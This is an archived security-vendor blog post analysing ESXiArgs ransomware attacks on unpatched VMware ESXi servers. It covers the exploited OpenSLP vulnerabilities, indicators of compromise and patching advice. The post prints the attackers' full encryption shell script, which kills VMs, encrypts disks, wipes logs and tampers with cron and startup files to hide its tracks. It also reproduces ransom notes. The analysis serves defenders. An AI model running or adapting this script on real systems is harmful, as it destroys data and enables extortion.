VMware ESXi in the Line of Ransomware Fire

By Jason Hill

Published: 2023-02-07 · Archived: 2026-04-05 17:30:50 UTC

Servers running the popular virtualization hypervisor VMware ESXi have come under attack from at least one ransomware group over the past week, likely following scanning activity to identify hosts with Open Service Location Protocol (OpenSLP) vulnerabilities.

Specifically, reports suggest that threat actors have been taking advantage of unpatched systems vulnerable to CVE-2020-3992 and CVE-2021-21974 that, when exploited, can allow remote code execution.

"Threat actors are executing a ransomware payload that modifies the ESXi configuration before encrypting files associated with virtual machines and, finally, dropping a victim-specific ransom note with details of how payment can be made."

Having located and exploited a vulnerable host, threat actors are executing a ransomware payload that modifies the ESXi configuration before encrypting files associated with virtual machines and, finally, dropping a victim-specific ransom note with details of how payment can be made.

While this ransom note suggests that data has been stolen, this has yet to be confirmed, and there is no apparent file transfer code within the observed samples. However, any threat actor with the ability to execute code on a compromised machine could easily use off-the-shelf utilities to perform data exfiltration prior to encryption.

Of the incidents observed thus far, a ransomware-as-a-service (RaaS) group known as Nevada, believed active since late 2022, appears to be responsible for many of these recent attacks — although their ransom note shares many similarities with Cheerscrypt, a ransomware threat that targeted ESXi in early- to mid-2022.

Given the ongoing nature of this threat, organizations using VMware ESXi version 7.x and earlier are advised to ensure that their installations are suitably patched as a matter of urgency.

Nevada ransomware group

Nevada is widely thought to be associated with the attacks against vulnerable VMware ESXi servers; specifically, the group is suspected of conducting widespread scanning activity to identify VMware ESXi hosts that are vulnerable to CVE-2020-3992 and/or CVE-2021-21974 using the following IP addresses:

```
 43.130.10[.]173
104.152.52[.]55
193.163.125[.]138
```

Like other RaaS groups, Nevada has previously advertised on cybercrime forums to recruit affiliates. In exchange for providing the ransomware payload and supporting infrastructure, the group will take a commission of 10 –

15%, depending on the affiliate's status, from any victim making a ransom payment.

According to their own cybercrime forum posts, Nevada provides affiliates with a "locker" (encryption) payload written in Rust that has support for Linux, Windows, and VMware ESXi hosts, the latter of which is the subject of this recent increase in vulnerability scanning and ransomware attacks.

Using this multi-threaded encryption payload, Nevada states that they use AES and elliptic-curve cryptography (ECC) to encrypt victim files in "strips" that render data inaccessible while maintaining high performance and reducing the time to complete the encryption process.

In addition to providing the actual ransomware payload used to encrypt victim data — built on a per-victim basis — Nevada offers their affiliates access to a control panel used to negotiate with victims.

Vulnerabilities

The following VMware ESXi vulnerabilities (related to the OpenSLP implementation) have been exploited in these recent incidents:

- CVE-2020-3992
- CVE-2021-21974

The first step organizations should take is to follow the advice of the original VMware security advisories and ensure their installations are both fully patched and — in the case of ESXi 6.5 and 6.7 — supported by their vendor, given that the end of general support for these installations was October 2022.

If appropriate for your environment, details of a temporary workaround that disables the SLP service is provided in VMware knowledgebase article 76372.

CVE-2020-3992

Detailed in VMware security advisory VMSA-2020-0023.3, an OpenSLP use-after-free vulnerability could be exploited by a threat actor with access to an ESXi host via port 427 to gain remote code execution.

While best practices would limit access to this port from specific hosts within a management network, threat actors operating within a compromised network or ESXi hosts inadvertently exposed to the internet, could create a situation in which this vulnerability can be remotely exploited.

Assigned a CVSS v3 score of 9.8, this vulnerability is considered critical and affects VMware ESXi versions 6.5, 6.7, and 7.0.

CVE-2021-21974

Detailed in VMware security advisory VMSA-2021-0002, an OpenSLP heap-overflow vulnerability could also be exploited by a threat actor with access to an ESXi host via port 427 to gain remote code execution.

As in the previous scenario, the threat actor would need to be in the same network as the ESXi host, although inadvertently exposed hosts (as scanned for by the threat actors in these incidents) can allow exploitation.

While not as severe as CVE-2020-3992, this vulnerability was assigned a CVSS v3 score of 8.8 and is therefore considered important. This vulnerability also affects VMware ESXi versions 6.5, 6.7, and 7.0.

Ransomware payload

Widely attributed to the Nevada ransomware group, a Linux executable encryption tool (encrypt) and an associated shell script (encrypt.sh) have been observed being dropped onto compromised VMware ESXi hosts and used to encrypt virtual machine files.

In addition to these two files, the shell script indicates that the following files will also be present on a compromised host:

- **index.html** — A ransom note used to replace the VMware ESXi management pages
- **motd** — A ransom note to be displayed at system boot/login
- **public.pem** — A public key used for encryption
- **archieve.zip** — Potentially an archive containing the ransomware payload

Virtual machine termination

Prior to launching the encryption phase, the ransomware shell script uses the inbuilt ESX command line interface, esxcli, to identify each virtual machine's configuration file.

Within each of these configuration files, the virtual disk (.vmdk) and virtual swap (.vswp) filenames will have the numeral 1 appended before the file extension, for example, myvirtualmachine.vmdk would become myvirtualmachine1.vmdk:

```
for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do
 echo "FIND CONFIG: $config_file"
 sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file"
done
```

This action increases the time and complexity of recovery, as the configuration files will all need to be rebuilt to point to the correct file paths.

Having modified the configuration files, each virtual machine is identified by searching the output of the currently-running process list and terminating any process containing the string “vmx”:

```
kill -9 $(ps | grep vmx | awk '{print $2}')
```

Encryption

Having forcefully terminated all virtual machines, ensuring that targeted files are not locked open, the shell script proceeds to the encryption phase and begins by granting the encrypt payload execute permissions:

```
chmod +x $CLEAN_DIR/encrypt
```

Using the ESXi command line interface, the script iterates through a list of virtual machine file system volumes which are searched for the following filetypes:

- **.vmdk** — Virtual disk container
- **.vmx** — Primary configuration
- **.vmxf** — Supplementary configuration
- **.vmsd** — Snapshot metadata
- **.vmsn** — Snapshot saved state
- **.vswp** — Swap memory
- **.vmss** — Suspend state
- **.nvram** — CMOS/BIOS
- **.vmem** — Memory paging

The size of files found in this process is calculated to determine how they will be processed, with those smaller than 128MB being encrypted in their entirety and those larger than 128MB being encrypted in "steps."

The step size used by the encryption process is calculated by dividing the file size in MB by 100 and then subtracting one:

```
 if [[ $(($size_kb/1024)) -gt 128 ]]; then

  size_step=$((($size_kb/1024/100)-1))

fi
```

Given the large size of files associated with virtual machines, this approach will render most files inaccessible without the need, and time, to encrypt the entirety of the data.

Notably, prior to executing the encrypt process, the command line arguments are saved to a text file matching the current "target" file with an .args file extension, for example: myvirtualmachine1.vmdk.args:

```
 echo $size_step 1 $((size_kb*1024)) > "$file_e.args"
```

Presumably this assists the decryption process by recording the encryption step size.

Using the calculated step size arguments, and specifying the public key public.pem file, the encrypt payload is executed using the "no hang up" nohup command to ensure the process continues to run even if the user (threat actor) logs off:

```
nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1&
```

Notably, executing the encrypt payload without any parameters provides us with a helpful explanation:

```
usage: encrypt   [] [] []

enc_step - number of MB to skip while encryption

enc_size - number of MB in encryption block

file_size - file size in bytes (for sparse files)
```

Ransom notes

Once the encryption phase has completed, the shell script will search /usr/lib/vmware for files named index.html and, having renamed the originals as index1.html, drop a replacement index.html containing the ransom note in their place:

```
for file_ui in $(find /usr/lib/vmware -type f -name index.html); do

 path_to_ui=$(dirname $file_ui)

 echo "FIND UI: $path_to_ui"

 mv "$path_to_ui/index.html" "$path_to_ui/index1.html"

 cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html"

done
```

At this point, any administrator attempting to access the ESXi administrative interface will be presented with a ransom note (Figure 1) containing a victim-specific bitcoin wallet address.

Potential locations for these index.html files include:

```
 /usr/lib/vmware/hostd/docroot

/usr/lib/vmware/hostd/docroot/ui/
```

Additionally, to ensure the ransom note is displayed to any administrator logging onto the compromised ESXi host via the console or SSH, the message of the day (motd) file is also renamed and replaced:

```
mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd
```

Ransom note similarity

Notably, as mentioned previously in this article, the ransom note content observed in these recent incidents is similar to that used by Cheerscrypt ransomware, a threat that also targeted VMware ESXi servers and that was first observed in the second quarter of 2022.

```
 Cheers!



--------------------------------------------------------------------------------



--------------------------------------------------------------------------------



Security Alert!!!

We hacked your company successfully

All files have been stolen and encrypted by us

If you want to restore files or avoid file leaks, please contact us



--------------------------------------------------------------------------------



Attention!!!

Contact us within 3 days, otherwise we will expose some data and raise the price

Don't try to decrypt important files, it may damage your files

Don't trust who can decrypt, they are liars,no one can decrypt without key file

If you don't contact us, we will notify your customers of the data breach by email and text message

And sell your data to your opponents or criminals, data may be made release
```

```
--------------------------------------------------------------------------------



Information



Web Site Live Chat

You can visit this site and contact us through widgets or get our email address from this site :

hXXp://.onion



Data Release Site

If you don't pay and no one wants to buy your data, it will appear here

hXXp://rwiajgajdr4kzlnrj5zwebbukpcbrjhupjmk6gufxv6tg7myx34iocad.onion







--------------------------------------------------------------------------------



Notice

How to access URLs with onion suffix?

hXXps://www.comparitech[.]com/blog/vpn-privacy/access-dark-web-safely-vpn/



Or watch this video:

hXXps://www.youtube[.]com/watch?v=4pIi9yTWuRw
```

Though this may just be an instance of ransom note plagiarism, it is worth mentioning that ransomware groups have been known to rebrand in the past.

Based on the Cheerscrypt ransom note, and previous reports of their activity, the ransomware group used the double-extortion tactic in their attacks and shared some stolen data on their Tor-based leak site.

Conversely, there is no specific evidence at this time that demonstrates Nevada has carried out data exfiltration, although the possibility remains.

Recommendations

Organizations using VMware ESXi should ensure that their installations are patched and up to date in accordance with VMware guidance.

Organizations using VMware ESXi version 6.5 and 6.7 may need to verify the support status of their installations given that the end of general support for both versions is listed as October 2022.

Consideration should be given to either disabling, or restricting access to, port 427, especially from untrusted networks.

Should remote access be required to ESXi hosts, consideration should be given to placing these within a network that is only accessible after first authenticating to a VPN.

Ensure ESXi hosts are subject to regular backups, preferably stored offline, and that disaster recovery procedures are robust, tried, and tested.

Recovery

The US Cybersecurity and Infrastructure Security Agency (CISA) has released a recovery script for victims of ESXiArgs ransomware attacks.

The recovery script is available from CISA's Github at https://github.com/cisagov/ESXiArgs-Recover

Indicators of compromise

The following indicators of compromise (IOC) have been identified as associated with this threat

File	Hash	IOC
encrypt (Linux 64-bit ELF)	SHA256	11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66
encrypt.sh (Shell script; believed to be the original file)	SHA256	10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459
encrypt.sh (Shell script)	SHA256	5a9448964178a7ad3e8ac509c06762e418280c864c1d3c2c4230422df2c66722
encrypt.sh (Shell script)	SHA256	87961344f13a452fb4aa46dd22a9aa31c5d411b1d8d37bac7a36f94a5be9fb0d

Note: Multiple SHA256 cryptographic hashes have been identified for the encrypt.sh file, although these appear to arise from new line or whitespace differences. While it is possible that multiple versions are in circulation, the core content remains the same and these subtle differences may arise from samples being opened and saved on varying operating systems.

Additionally, logs may show access attempts or scanning activity from the following IP addresses:

```
 43.130.10[.]173

104.152.52[.]55

193.163.125[.]138
```

Notably, these IP addresses have been associated with vulnerability-scanning in the past and may therefore be long-term nefarious hosts used by multiple threat actors.

If you wait for a breach to occur, it's too late. Strengthen your cloud security today and stay ahead of emerging threats with Varonis. Learn more about our comprehensive cloud security solutions and take advantage of our free Data Risk Assessment to help you safeguard your digital assets.

Appendix A — encrypt shell script

```
 #!/bin/sh

CLEAN_DIR="/tmp/"



# SET LIMITS



ulimit -p $(ulimit -Hp)

ulimit -n $(ulimit -Hn)



## CHANGE CONFIG



for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do

  echo "FIND CONFIG: $config_file"
```

```
  sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file"
done



## STOP VMX
echo "KILL VMX"
kill -9 $(ps | grep vmx | awk '{print $2}')



## ENCRYPT



chmod +x $CLEAN_DIR/encrypt



for volume in $(IFS='\n' esxcli storage filesystem list | grep "/vmfs/volumes/" | awk -F'  ' '{print $2}'); do
  echo "START VOLUME: $volume"
  IFS=$'\n'
  for file_e in $( find "/vmfs/volumes/$volume/" -type f -name "*.vmdk" -o -name "*.vmx" -o -name "*.vmxf" -o -n
      if [[ -f "$file_e" ]]; then
        size_kb=$(du -k $file_e | awk '{print $1}')
        if [[ $size_kb -eq 0 ]]; then
          size_kb=1
        fi
        size_step=0
        if [[ $(($size_kb/1024)) -gt 128 ]]; then
          size_step=$((($size_kb/1024/100)-1))
```

```
        fi

        echo "START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: $size_step" "\"$file_e\" $size_step 1 $((size_kb*

        echo $size_step 1 $((size_kb*1024)) > "$file_e.args"

        nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1

      fi

  done

  IFS=$" "

done



## INDEX.HTML

CLEAN_DIR="/tmp/"

IFS=$'\n'

for file_ui in $(find /usr/lib/vmware -type f -name index.html); do

  path_to_ui=$(dirname $file_ui)

  echo "FIND UI: $path_to_ui"

  mv "$path_to_ui/index.html" "$path_to_ui/index1.html"

  cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html"

done

IFS=$' '



## SSH HI



mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd
```

```
## DELETE

echo "START DELETE"



/bin/find / -name *.log -exec /bin/rm -rf {} \;



A=$(/bin/ps | /bin/grep encrypt | /bin/grep -v grep | /bin/wc -l)

while [[ $A -ne 0 ]];

do

  /bin/echo "Waiting for task' completion... ($A)"

  /bin/sleep 0.1

  A=$(/bin/ps | /bin/grep encrypt  | /bin/grep -v grep | /bin/wc -l)

done



if [ -f "/sbin/hostd-probe.bak" ];

then

  /bin/rm -f /sbin/hostd-probe

  /bin/mv /sbin/hostd-probe.bak /sbin/hostd-probe

  /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /sbin/hostd-probe

fi



B=$(/bin/vmware -l | /bin/grep " 7." | /bin/wc -l)

if [[ $B -ne 0 ]];

then
```

```
  /bin/chmod +w /var/spool/cron/crontabs/root

  /bin/sed '$d' /var/spool/cron/crontabs/root > /var/spool/cron/crontabs/root.1

  /bin/sed '1,8d' /var/spool/cron/crontabs/root.1 > /var/spool/cron/crontabs/root.2

  /bin/rm -f /var/spool/cron/crontabs/root /var/spool/cron/crontabs/root.1

  /bin/mv /var/spool/cron/crontabs/root.2 /var/spool/cron/crontabs/root

  /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /var/spool/cron/crontabs/root

  /bin/chmod -w /var/spool/cron/crontabs/root
fi



if [[ $B -eq 0 ]];
then
  /bin/sed '1d' /bin/hostd-probe.sh > /bin/hostd-probe.sh.1 && /bin/mv /bin/hostd-probe.sh.1 /bin/hostd-probe.sh
fi



/bin/rm -f /store/packages/vmtools.py
/bin/sed '$d' /etc/vmware/rhttpproxy/endpoints.conf > /etc/vmware/rhttpproxy/endpoints.conf.1 && /bin/mv /etc/vm
/bin/echo '' > /etc/rc.local.d/local.sh
/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf
/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh
/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh



/bin/rm -f $CLEAN_DIR"encrypt" $CLEAN_DIR"nohup.out" $CLEAN_DIR"index.html" $CLEAN_DIR"motd" $CLEAN_DIR"public.p



/bin/sh /bin/auto-backup.sh
```

```
/bin/rm -- "$0"



/etc/init.d/SSH start
```

Appendix B — HTML ransom note

```
<html lang="en">
<head>
    <title>How to Restore Your Files</title>
</head>
<body>

<h1>How to Restore Your Files</h1>

<p><strong><u>Security Alert!!!</u></strong></p>
<p>We hacked your company successfully</p>
<p>All files have been stolen and encrypted by us</p>
<p>If you want to restore files or avoid file leaks, please send <b>&lt;RANSOM_AMOUNT_IN_BTC&gt;</b> bitcoins
<p>If money is received, encryption key will be available on <b>TOX_ID: &lt;THREAT_ACTOR_TOX_ID&gt;</b></p>

<p><strong><u>Attention!!!</u></strong></p>
<p>Send money within 3 days, otherwise we will expose some data and raise the price</p>
<p>Don't try to decrypt important files, it may damage your files</p>
<p>Don't trust who can decrypt, they are liars, no one can decrypt without key file</p>
```

```
<p>If you don't send bitcoins, we will notify your customers of the data breach by email and text message</p>

<p>And sell your data to your opponents or criminals, data may be made release</p>



<p><strong><u>Note</u></strong></p>

<p>SSH is turned on</p>

<p>Firewall is disabled</p>



<br>

</body>

</html>
```

Source: https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire